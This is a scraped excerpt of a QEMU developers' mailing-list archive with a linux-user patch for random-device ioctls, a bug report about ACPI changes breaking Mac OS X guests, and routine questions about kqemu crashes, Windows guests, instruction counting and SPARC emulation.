+  IOCTL(RNDADDTOENTCNT, IOC_W, MK_PTR(MK_STRUCT(STRUCT_rand_pool_info)))
+  IOCTL(RNDGETPOOL, IOC_R, MK_PTR(TYPE_INT))
+  IOCTL(RNDADDENTROPY, IOC_W, MK_PTR(MK_STRUCT(STRUCT_rand_pool_info)))
+  IOCTL(RNDZAPENTCNT, 0, TYPE_NULL)
+  IOCTL(RNDCLEARPOOL, 0, TYPE_NULL)
+
   IOCTL(CDROMPAUSE, 0, TYPE_NULL)
   IOCTL(CDROMSTART, 0, TYPE_NULL)
   IOCTL(CDROMSTOP, 0, TYPE_NULL)
diff --git a/linux-user/syscall.c b/linux-user/syscall.c
index 9b6364a266..d4c21a557c 100644
--- a/linux-user/syscall.c
+++ b/linux-user/syscall.c
@@ -59,6 +59,7 @@ int __clone2(int (*fn)(void *), void *child_stack_base,
 #include 
 #include 
 #include 
+#include 
 #include "qemu-common.h"
 #ifdef CONFIG_TIMERFD
 #include 
diff --git a/linux-user/syscall_defs.h b/linux-user/syscall_defs.h
index 40c5027e93..d14fdd82ce 100644
--- a/linux-user/syscall_defs.h
+++ b/linux-user/syscall_defs.h
@@ -1060,6 +1060,15 @@ struct target_pollfd {

 #define TARGET_SIOCGIWNAME 0x8B01  /* get name == wireless
protocol */

+/* From  */
+
+#define TARGET_RNDGETENTCNTTARGET_IOR('R', 0x00, int)
+#define TARGET_RNDADDTOENTCNT  TARGET_IOW('R', 0x01, int)
+#define TARGET_RNDGETPOOL  TARGET_IOR('R', 0x02, struct rand_pool_info)
+#define TARGET_RNDADDENTROPY   TARGET_IOW('R', 0x03, struct rand_pool_info)
+#define TARGET_RNDZAPENTCNTTARGET_IO('R', 0x04)
+#define TARGET_RNDCLEARPOOLTARGET_IO('R', 0x06)
+
 /* From  */

 #define TARGET_BLKROSET   TARGET_IO(0x12,93) /* set device read-only (0 =
read-write) */
diff --git a/linux-user/syscall_types.h b/linux-user/syscall_types.h
index 24631b09be..2e2e000424 100644
--- a/linux-user/syscall_types.h
+++ b/linux-user/syscall_types.h
@@ -266,3 +266,7 @@ STRUCT(blkpg_ioctl_arg,
TYPE_INT, /* flags */
TYPE_INT, /* datalen */
TYPE_PTRVOID) /* data */
+
+STRUCT(rand_pool_info,
+   TYPE_INT, /* entropy_count */
+   TYPE_INT) /* buf_size */
-- 
2.11.0

-- 
Marco A L Barbosa
http://malbarbo.pro.br
--

[Qemu-devel] [Bug 1358722] Re: latest acpi commits causes memory allocation fault in macosx

2014-09-04 Thread Marco Minetti

The experiments for running MacOSXon KVM/QEMU I followed are here:
http://www.contrib.andrew.cmu.edu/~somlo/OSXKVM/

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1358722

Title:
  latest acpi commits causes memory allocation fault in macosx

Status in QEMU:
  New

Bug description:
  qemu release 2.1.0

  Hi,
  I've found a regression on MacOSX guest (10.9.4) after merging the following 
commits 

  18045fb9f457a0f0cba2bd113c748a2dcb4ed39e pc: future-proof 
migration-compatibility of ACPI tables
  868270f23d8db2cce83e4f082fe75e8625a5fbf9 acpi-build: tweak acpi migration 
limits

  The migration limits make x86 chameleon bootloader generate a memory
  allocation error with 0xdeadbeef address at line 899 in source file:

  
http://forge.voodooprojects.org/p/chameleon/source/tree/2360/branches/Bungo/i386/libsaio/acpi_patcher.c

  I've not tried to recompile chameleon yet.

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1358722/+subscriptions

Re: [Qemu-devel] [Bug 1358722] Re: latest acpi commits causes memory allocation fault in macosx

2014-09-04 Thread Marco Minetti

On Thu, 2014-09-04 at 09:10 -0400, Gabriel L. Somlo wrote:
On Thu, 04 Sep 2014 08:43:12, Marco Minetti wrote:
The experiments for running MacOSXon KVM/QEMU I followed are here:
http://www.contrib.andrew.cmu.edu/~somlo/OSXKVM/

[...]

Bug description:
qemu release 2.1.0

Hi,
I've found a regression on MacOSX guest (10.9.4) after merging the
following commits

18045fb9f457a0f0cba2bd113c748a2dcb4ed39e pc: future-proof
migration-compatibility of ACPI tables
868270f23d8db2cce83e4f082fe75e8625a5fbf9 acpi-build: tweak acpi migration
limits

The migration limits make x86 chameleon bootloader generate a memory
allocation error with 0xdeadbeef address at line 899 in source file:

http://forge.voodooprojects.org/p/chameleon/source/tree/2360/branches/Bungo/i386/libsaio/acpi_patcher.c

I've not tried to recompile chameleon yet.

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1358722/+subscriptions

If you absolutely need those commits, you may be better off just
using qemu's git master branch altogether (which works fine, at
least for me). Grabbing two more or less arbitrary commits from git
and applying them on top of 2.1.0 may cause you to miss other changes
which actually enable those patches to work.

HTH,
--Gabriel

Those commits are already included into 2.1.0 release tag. I tested
almost any commit refs from tag v2.1.0-rc3 to v2.1.0. Things get broken
with the commits above with or without following commits.

I'll wait for the next 2.1.x release on git.qemu.org to test again. I
actually prefer not to use master to build packages for my bleeding-edge
Ubuntu-based distro.

Thanks!

[Qemu-devel] [Bug 1358722] [NEW] latest acpi commits causes memory allocation fault in macosx

2014-08-19 Thread Marco Minetti

Public bug reported:

qemu release 2.1.0

Hi,
I've found a regression on MacOSX guest (10.9.4) after merging the following 
commits 

18045fb9f457a0f0cba2bd113c748a2dcb4ed39e pc: future-proof 
migration-compatibility of ACPI tables
868270f23d8db2cce83e4f082fe75e8625a5fbf9 acpi-build: tweak acpi migration limits

The migration limits make x86 chameleon bootloader generate a memory
allocation error with 0xdeadbeef address at line 899 in source file:

http://forge.voodooprojects.org/p/chameleon/source/tree/2360/branches/Bungo/i386/libsaio/acpi_patcher.c

I've not tried to recompile chameleon yet.

** Affects: qemu
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1358722

Title:
  latest acpi commits causes memory allocation fault in macosx

Status in QEMU:
  New

Bug description:
  qemu release 2.1.0

  Hi,
  I've found a regression on MacOSX guest (10.9.4) after merging the following 
commits 

  18045fb9f457a0f0cba2bd113c748a2dcb4ed39e pc: future-proof 
migration-compatibility of ACPI tables
  868270f23d8db2cce83e4f082fe75e8625a5fbf9 acpi-build: tweak acpi migration 
limits

  The migration limits make x86 chameleon bootloader generate a memory
  allocation error with 0xdeadbeef address at line 899 in source file:

  
http://forge.voodooprojects.org/p/chameleon/source/tree/2360/branches/Bungo/i386/libsaio/acpi_patcher.c

  I've not tried to recompile chameleon yet.

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1358722/+subscriptions

[Qemu-devel] Addming new options to the QEMU monitor

2011-03-15 Thread Marco Boni


Hi.
I would like to have some hints on how to implement new options in the 
QEMU monitor.


In particular, I would like to add an instruction counter, so that I can 
press CTRL+ALT+2 and type something like instruction_counter, and get 
the number of instructions that have been executed so far.


Is there any code practice to follow? Which source files should I put my 
hands on?


Thank you very much in advance for your help

m

--
Marco Boni

Information Engineering Department
University of Siena
Room 223
Via Roma, 56
53100 Siena
ITALY

Office: +39 0577 234850 (1085)
Mobile: +39 335 607 9353
Email: b...@dii.unisi.it
Skype: m.boni

RE: [Qemu-devel] Windows 7 on pure qemu-0.14

2011-03-15 Thread Marco Cianfriglia






Hi to all, 

 thanks for the suggestion to make use of the -cpu nehalem switch.

I try to use the option you suggest but I receive this error: 

Unable to find x86 CPU definition
[marcian@metal x86_64-softmmu]$ ./qemu-system-x86_64 -cpu ?

x86   [n270]

x86 [athlon]

x86   [pentium3]

x86   [pentium2]

x86[pentium]

x86[486]

x86[coreduo]

x86  [kvm32]

x86 [qemu32]

x86  [kvm64]

x86   [core2duo]

x86 [phenom]

x86 [qemu64]


Unfortunately, after reading the docs, I still don't know how to enable nehalem.


Could anyone give me some hints on this issue?



thanks in advance

Marco


 Date: Mon, 14 Mar 2011 21:06:55 +0200
 From: g...@redhat.com
 To: mc...@hotmail.it
 CC: qemu-devel@nongnu.org
 Subject: Re: [Qemu-devel] Windows 7 on pure qemu-0.14
 
 On Mon, Mar 14, 2011 at 07:19:29PM +0100, Marco Cianfriglia wrote:
 Hi to alll, 
  
  I'm trying to run Windows7 64 on pure qemu-0.14 ( no kvm/xen)
  I compiled qemu with the following : .configure --disable-kvm 
  --enable-vnc-thread --target-list=x86_64-softmmu
  Running  qemu-system-x86_64  -m 2030 -boot c -cdrom  /win7_64.iso -hda 
  win7_64.img
  gives me a BSOD with this error:
  Stop: 0x005D 
  (0x78BFBF9,0x,0x,0x
  Is there a way to solve this issue? 
  Any hint is appreciated, thanks a lot in advance
  Marco
  
 Try adding -cpu Nehalem.
 
 --
   Gleb.

[Qemu-devel] Windows 7 on pure qemu-0.14

2011-03-14 Thread Marco Cianfriglia












   Hi to alll, 

I'm trying to run Windows7 64 on pure qemu-0.14 ( no kvm/xen)
I compiled qemu with the following : .configure --disable-kvm 
--enable-vnc-thread --target-list=x86_64-softmmu
Running  qemu-system-x86_64  -m 2030 -boot c -cdrom  /win7_64.iso -hda 
win7_64.img
gives me a BSOD with this error:
Stop: 0x005D 
(0x78BFBF9,0x,0x,0x
Is there a way to solve this issue? 
Any hint is appreciated, thanks a lot in advance
Marco

[Qemu-devel] Qemu 0.9.1

2011-03-07 Thread Marco Cianfriglia


Hi to alll, 

I'm a student of University Rome Sapienza.

I'm working with qemu 0.9.1 for my thesis

and  I'm trying to understand how  a full-emulation (qemu without kvm or kqemu) 
Virtual Machine works at low level.

I studied  your smart source code but I don't understand

how qemu manages emulated operation operands.

In particular I would like to be able to access such operands at instruction 
emulation time.

Could you please point me to where can I get some more specific information on 
that?



thanks in advance,

[Qemu-devel] Instruction count with QEMU

2011-02-17 Thread Marco Boni


Hi all,

I am pretty new to QEMU development. To get involved in this, I have 
been asked by my supervisor to do a simple modification to QEMU.


We would like to count the number of instructions the virtual machine 
processes. In other words, it's all about to declare a counter and 
increment it every time a guest instruction has to be executed.


Can you please give me some hints on how to realize it, i.e. which files 
I should put my hands on?


Thanks a lot

m

--
Marco Boni

Mobile: +39 335 607 9353
Email: mb.b...@gmail.com
Skype: m.boni

[Qemu-devel] qemu-system-x86_64 fails at squashfs mounts + kqemu

2007-03-25 Thread Marco Amadori

Hi, all
I'm a developer of debian-live and I am not subscribed to this list, so please 
CC me in the replies.

First, many thanks for this software to Fabrice Bellard and all developers.

As subject says, when I launch qemu-system-x86_64 (I'm on debian/sid amd64 
with an athlon64 dual core), with kqemu present and I boot a debian-live 
image, all goes fine until it reaches the squashfs mount.

Then, with the amd64 iso image qemu crashes with the below outoput, on a i386 
iso image it just stands there doing nothing.

With the switch -no-kqemu, the boot from the image goes fine without problems.

Qemu version: 0.8.2-3
KQemu: 1.3.0pre9

Crash output:
$ sudo qemu-system-x86_64  -cdrom debian-live/binary.iso -k it -m 256 -boot d
RAX=2b965c346520 RBX=2b965c0899e8 RCX=0008 
RDX=0008
RSI=2b965c57d3a0 RDI=0057e5d8 RBP=7fff4eb353c0 
RSP=7fff4eb352d8
R8 =2b965c57d3a0 R9 = R10=0057e5d8 
R11=0002
R12= R13=0005 R14=2b965c34 
R15=00403908
RIP=2b965bf83380 RFL=00010287 [--S--PC] CPL=3 II=0 A20=1 HLT=0
ES =   
CS =0033   00affa00
SS =002b   00cff200
DS =   
GS =   
LDT=   8000
TR =0040 810001004000 206f 01008900
GDT= 8053 0080
IDT= 804c6000 0fff
CR0=8005003b CR2=2b965c57d3a0 CR3=0fe4a000 CR4=06e0
Unsupported return value: 0x
EOF

If more information is needed, please ask, if this issue was already reported, 
please tell me and I will be sorry for the dupe.
-- 
ESC:wq


pgp2pvbeZLysz.pgp
Description: PGP signature

[Qemu-devel] qemu-system-x86_64 fails at squashfs mounts + kqemu

2007-03-25 Thread Marco Amadori

Hi, all
I'm a developer of debian-live and I am not subscribed to this list, so please 
CC me in the replies.

First, many thanks for this software to Fabrice Bellard and all developers.

As subject says, when I launch qemu-system-x86_64 (I'm on debian/sid amd64 
with an athlon64 dual core), with kqemu present and I boot a debian-live 
image, all goes fine until it reaches the squashfs mount.

Then, with the amd64 iso image qemu crashes with the below outoput, on a i386 
iso image it just stands there doing nothing.

With the switch -no-kqemu, the boot from the image goes fine without problems.

Qemu version: 0.8.2-3
KQemu: 1.3.0pre9

Crash output:
$ sudo qemu-system-x86_64  -cdrom debian-live/binary.iso -k it -m 256 -boot d
RAX=2b965c346520 RBX=2b965c0899e8 RCX=0008 
RDX=0008
RSI=2b965c57d3a0 RDI=0057e5d8 RBP=7fff4eb353c0 
RSP=7fff4eb352d8
R8 =2b965c57d3a0 R9 = R10=0057e5d8 
R11=0002
R12= R13=0005 R14=2b965c34 
R15=00403908
RIP=2b965bf83380 RFL=00010287 [--S--PC] CPL=3 II=0 A20=1 HLT=0
ES =   
CS =0033   00affa00
SS =002b   00cff200
DS =   
GS =   
LDT=   8000
TR =0040 810001004000 206f 01008900
GDT= 8053 0080
IDT= 804c6000 0fff
CR0=8005003b CR2=2b965c57d3a0 CR3=0fe4a000 CR4=06e0
Unsupported return value: 0x
EOF

If more information is needed, please ask, if this issue was already reported, 
please tell me and I will be sorry for the dupe.
-- 
ESC:wq


pgpFkOKRxENnc.pgp
Description: PGP signature

[Qemu-devel] Out of the office.

2006-12-22 Thread Marco . Sanvido


I will be out of the office starting  12/22/2006 and will not return until
01/01/2007.


Wish you Happy Holidays and Happy new Year.
Marco



___
Qemu-devel mailing list
Qemu-devel@nongnu.org
http://lists.nongnu.org/mailman/listinfo/qemu-devel

[Qemu-devel] qemu-system-x86_64 fails at squashfs mounts + kqemu

2006-11-19 Thread Marco Amadori

Hi, all
I'm a developer of debian-live and I am not subscribed to this list, so please 
CC me in the replies.

First, many thanks for this software to Fabrice Bellard and all developers.

As subject says, when I launch qemu-system-x86_64 (I'm on debian/sid amd64 
with an athlon64 dual core), with kqemu present and I boot a debian-live 
image, all goes fine until it reaches the squashfs mount.

Then, with the amd64 iso image qemu crashes with the below outoput, on a i386 
iso image it just stands there doing nothing.

With the switch -no-kqemu, the boot from the image goes fine without problems.

Qemu version: 0.8.2-3
KQemu: 1.3.0pre9

Crash output:
$ sudo qemu-system-x86_64  -cdrom debian-live/binary.iso -k it -m 256 -boot d
RAX=2b965c346520 RBX=2b965c0899e8 RCX=0008 
RDX=0008
RSI=2b965c57d3a0 RDI=0057e5d8 RBP=7fff4eb353c0 
RSP=7fff4eb352d8
R8 =2b965c57d3a0 R9 = R10=0057e5d8 
R11=0002
R12= R13=0005 R14=2b965c34 
R15=00403908
RIP=2b965bf83380 RFL=00010287 [--S--PC] CPL=3 II=0 A20=1 HLT=0
ES =   
CS =0033   00affa00
SS =002b   00cff200
DS =   
GS =   
LDT=   8000
TR =0040 810001004000 206f 01008900
GDT= 8053 0080
IDT= 804c6000 0fff
CR0=8005003b CR2=2b965c57d3a0 CR3=0fe4a000 CR4=06e0
Unsupported return value: 0x
EOF

If more information is needed, please ask, if this issue was already reported, 
please tell me and I will be sorry for the dupe.
-- 
ESC:wq


pgpMYYhYJHX26.pgp
Description: PGP signature
___
Qemu-devel mailing list
Qemu-devel@nongnu.org
http://lists.nongnu.org/mailman/listinfo/qemu-devel

Re: [Qemu-devel] qemu-system-sparc question?

2006-10-11 Thread Marco Matthies


Blue Swirl wrote:
BTW, we could easily design and implement an ideal CPU just for Qemu 
purposes. It could be unlike any existing hardware, for example with 
zero or thousands of registers. The problem would be making a compiler 
for the CPU, also porting some OS to it. Any GCC and Linux guru 
volunteers? CS research projects?


How about MMIX?
http://en.wikipedia.org/wiki/MMIX

There is already a simulator/assembler here:
http://www-cs-faculty.stanford.edu/~knuth/mmix-news.html

Marco


___
Qemu-devel mailing list
Qemu-devel@nongnu.org
http://lists.nongnu.org/mailman/listinfo/qemu-devel

Re: [Qemu-devel] qemu-system-sparc question?

2006-10-10 Thread Marco Matthies


Ishwar Rattan wrote:


Well here is the situation. Dept had a lab with SPARC
based Solaris machines that were phased out in summer
(over my objections). I needed the environment to teach
first computer archt course with some assembly language
thrown in. Intel processor assembly requires a much
bigger effort (on part of students) which defeats the puprpose
of the course. So, I thought that I could put together
the SPARC back, if I am able to boot a SPARC version of
Linux (with gcc, gas, text-editor and networking) under
qemu. Hence the barrage of questions. GUI is a non-issue.


Couldn't you just build a crosscompiler and cross-binutils and
then use qemu-sparc instead of qemu-system-sparc, i.e. using
user emulation instead of whole system emulation ?

Marco


___
Qemu-devel mailing list
Qemu-devel@nongnu.org
http://lists.nongnu.org/mailman/listinfo/qemu-devel

[Qemu-devel] Vista ACPI problem

2006-07-27 Thread Marco Sanvido

Installing the latest Vista Beta2 (build 5456), the systemgenerates a blue screen: STOP: 0x00A5 (0x0001000B, 0x50434146, 0xFFD05050, 0x)This is likely a problem in the QEMU ACPI implementation (see microsoft site),any idea how to solve this?Marco___
Qemu-devel mailing list
Qemu-devel@nongnu.org
http://lists.nongnu.org/mailman/listinfo/qemu-devel

Re: [Qemu-devel] Run program without kernel. Possible? (part 2)

2006-07-18 Thread Marco Matthies

[sorry for posting this back to the list, but i'm too lazy to register 
for the forum]


Luis Pureza wrote:
 Is it possible to run some program with qemu without a kernel attached?

 I'm involved in a project to create an emulator for the leon2 
processor (which is sparc-like). In order to estimate the kind of 
performance gains we can achieve using dynamic transalation, I'd like to 
run some small benchmarks without the overhead of the operative system.


If i understand you correctly, you want to try qemu-user. Beware that 
when benchmarking, qemu-user should probably be faster than qemu-system, 
as it doesn't have to emulate the os and hardware.


Marco


___
Qemu-devel mailing list
Qemu-devel@nongnu.org
http://lists.nongnu.org/mailman/listinfo/qemu-devel

Re: [Qemu-devel] kqemu version 1.3.0pre5

2006-03-28 Thread Marco Matthies


Brad Campbell wrote:
none  768M  137M  632M  18% /tmp  -- not sure why it 
says none.. it's tmpfs


change the none to tmpfs in /etc/fstab. normally the mount point goes 
there, but tmpfs (and proc, for example) don't have a mount point so you 
can put anything there.


marco


___
Qemu-devel mailing list
Qemu-devel@nongnu.org
http://lists.nongnu.org/mailman/listinfo/qemu-devel

61 matches

Mail list logo